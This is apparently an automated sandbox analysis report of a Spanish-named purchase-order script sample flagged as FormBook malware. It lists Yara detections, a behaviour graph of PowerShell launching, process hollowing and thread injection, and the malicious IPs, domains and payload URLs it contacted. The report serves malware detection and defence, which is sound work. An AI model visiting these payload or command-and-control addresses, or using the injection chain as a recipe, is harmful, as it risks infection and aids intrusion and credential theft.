Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.477642007.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 15.0.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.0.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000000.422768755.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.496318132.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000000.422446596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932465488.0000000003420000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.516637201.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932661914.0000000003C50000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.526166021.0000000000D80000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525982132.0000000000B20000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001B.00000002.932348490.0000000003210000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.525904242.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000006.00000000.517447397.0000000002738000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.449978783.00000181C4D54000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.448761827.00000181C4C37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.477642007.000000000D70E000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 635408 Sample: NUEVA ORDEN DE COMPRA 80107.wsf Startdate: 27/05/2022 Architecture: WINDOWS Score: 100 74 www.salazarcomunicacion.com 2->74 76 www.createurs-de-bijoux.com 2->76 78 9 other IPs or domains 2->78 90 Snort IDS alert for network traffic 2->90 92 Found malware configuration 2->92 94 Malicious sample detected (through community Yara rule) 2->94 96 5 other signatures 2->96 13 explorer.exe 5 2->13         started        17 wscript.exe 1 2->17         started        signatures3 process4 dnsIp5 84 www.sushifactoryamphawa.com 199.34.228.47, 49884, 80 WEEBLYUS United States 13->84 86 www.nexusbalance.com 91.195.240.103, 49858, 80 SEDO-ASDE Germany 13->86 88 2 other IPs or domains 13->88 132 System process connects to network (likely due to code injection or exploit) 13->132 19 wscript.exe 1 13->19         started        22 WWAHost.exe 13->22         started        134 Suspicious powershell command line found 17->134 136 Wscript starts Powershell (via cmd or directly) 17->136 24 powershell.exe 14 18 17->24         started        signatures6 process7 dnsIp8 98 Suspicious powershell command line found 19->98 100 Wscript starts Powershell (via cmd or directly) 19->100 28 powershell.exe 8 19->28         started        102 Modifies the context of a thread in another process (thread injection) 22->102 104 Maps a DLL or memory area into another process 22->104 106 Tries to detect virtualization through RDTSC time measurements 22->106 31 cmd.exe 22->31         started        33 explorer.exe 22->33         started        35 explorer.exe 22->35         started        37 explorer.exe 22->37         started        80 2.56.57.22, 49762, 49772, 80 GBTCLOUDUS Netherlands 24->80 72 C:\Windows\Temp\Done.vbs, Little-endian 24->72 dropped 108 Deletes itself after installation 24->108 39 explorer.exe 24->39         started        41 conhost.exe 24->41         started        file9 signatures10 process11 signatures12 118 Suspicious powershell command line found 28->118 43 powershell.exe 14 28->43         started        47 conhost.exe 28->47         started        49 conhost.exe 31->49         started        120 System process connects to network (likely due to code injection or exploit) 39->120 122 Performs DNS queries to domains with low reputation 39->122 process13 dnsIp14 82 20.106.232.4, 49769, 80 MICROSOFT-CORP-MSN-AS-BLOCKUS United States 43->82 124 Suspicious powershell command line found 43->124 126 Writes to foreign memory regions 43->126 128 Injects a PE file into a foreign processes 43->128 51 RegAsm.exe 43->51         started        54 powershell.exe 13 43->54         started        signatures15 process16 file17 110 Modifies the context of a thread in another process (thread injection) 51->110 112 Maps a DLL or memory area into another process 51->112 114 Sample uses process hollowing technique 51->114 116 2 other signatures 51->116 57 explorer.exe 51->57 injected 70 C:\ProgramData\Done.vbs, Non-ISO 54->70 dropped 59 conhost.exe 54->59         started        signatures18 process19 process20 61 powershell.exe 16 57->61         started        signatures21 130 Suspicious powershell command line found 61->130 64 conhost.exe 61->64         started        66 powershell.exe 61->66         started        68 wscript.exe 61->68         started        process22
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
199.34.228.47
 www.sushifactoryamphawa.com United States
27647 WEEBLYUS false
54.203.72.218
 www.choicearticleto-readtoday.info United States
16509 AMAZON-02US false
45.128.51.66
 www.mgav21.xyz Netherlands
35913 DEDIPATH-LLCUS false
2.56.57.22
 unknown Netherlands
395800 GBTCLOUDUS true
91.195.240.103
 www.nexusbalance.com Germany
47846 SEDO-ASDE false
20.106.232.4
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS true

Contacted Domains

Name IP Active
www.salazarcomunicacion.com 103.167.196.150 true
www.sushifactoryamphawa.com 199.34.228.47 true
www.mgav21.xyz 45.128.51.66 true
a-0019.standard.a-msedge.net 204.79.197.222 true
www.nexusbalance.com 91.195.240.103 true
part-0032.t-0009.fbs1-t-msedge.net 13.107.219.60 true
a-9999.a-msedge.net 204.79.197.254 true
www.choicearticleto-readtoday.info 54.203.72.218 true
site-cdn.onenote.net unknown unknown
www.createurs-de-bijoux.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.mgav21.xyz/s4ig/?0tx=dCXC+2ZT0QRaPMB/1bkCzyFCQOsWt/uhEcdMypxrEdi7eXd+jvTokAesL3IOP6QRIKOYlLryUQ==&CTM8q=6lUH4xyXELQ8-0r true
  • Avira URL Cloud: safe
 unknown
http://www.nexusbalance.com/s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=cD7SGqgsMdn1qG9AyDMlGxGbikkTJ3e+SLNAYG8XHeGes8xhGajuA9PSV6Vq4uulpQsNka3DRA== true
  • Avira URL Cloud: safe
 unknown
www.hibikaiteki.com/s4ig/ true
  • Avira URL Cloud: malware
 low
http://2.56.57.22/tsdfguhijk.txt true
  • Avira URL Cloud: safe
 unknown
http://20.106.232.4/rumpe/26-05-2022-StartUp.pdf true
  • Avira URL Cloud: malware
 unknown
http://2.56.57.22/daveCrpted.jpg true
  • Avira URL Cloud: safe
 unknown
http://www.sushifactoryamphawa.com/s4ig/?CTM8q=6lUH4xyXELQ8-0r&0tx=OUASG+zKIyPgsbPq7aByYUb53Y7vFTrhhhVYwgCqKyQGNMMvVk3uDgUSApaDProA7A9idTtJxA== true
  • Avira URL Cloud: safe
 unknown
http://20.106.232.4/dll/26-05-2022-StartUp.pdf true
  • Avira URL Cloud: malware
 unknown
http://www.choicearticleto-readtoday.info/s4ig/?0tx=EE1KxreShStuWGRfOzXQivmJYb01nsHN4Y+USZVKUNF8o5M6FFhEbiUBXOrRFrwbnBV3ymr95w==&CTM8q=6lUH4xyXELQ8-0r true
  • Avira URL Cloud: safe
 unknown